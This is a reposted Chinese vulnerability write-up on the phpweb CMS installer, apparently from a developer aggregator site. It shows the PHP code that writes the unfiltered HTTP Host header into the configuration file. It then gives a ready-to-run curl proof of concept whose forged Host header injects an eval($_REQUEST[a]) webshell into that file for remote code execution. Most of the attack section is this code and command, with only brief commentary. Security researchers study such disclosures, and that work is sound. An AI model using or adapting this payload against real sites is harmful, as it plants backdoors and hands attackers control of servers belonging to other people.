码迷,mamicode.com
首页 > Web开发 > 详细

phpweb成品网站最新版(注入、上传、写shell)

时间:2014-05-14 22:39:18      阅读:600      评论:0      收藏:0      [点我收藏+]

标签:style   blog   class   code   java   c   

注入:
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码

鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
鸡肋2: 有一定安全常识的站长都会删掉 install 目录

虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响

分析:

bubuko.com,布布扣
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
 
$filestr = fread(fopen($SysConfigFile, ‘r‘),30000);
$filestr=str_replace(" ","",$filestr);
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
 
fwrite(fopen($ConFile,"w"),$filestr,30000);
bubuko.com,布布扣

$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^

poc

curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"

 

phpweb成品网站最新版(注入、上传、写shell),布布扣,bubuko.com

phpweb成品网站最新版(注入、上传、写shell)

标签:style   blog   class   code   java   c   

原文地址:http://www.cnblogs.com/58top/p/3728626.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!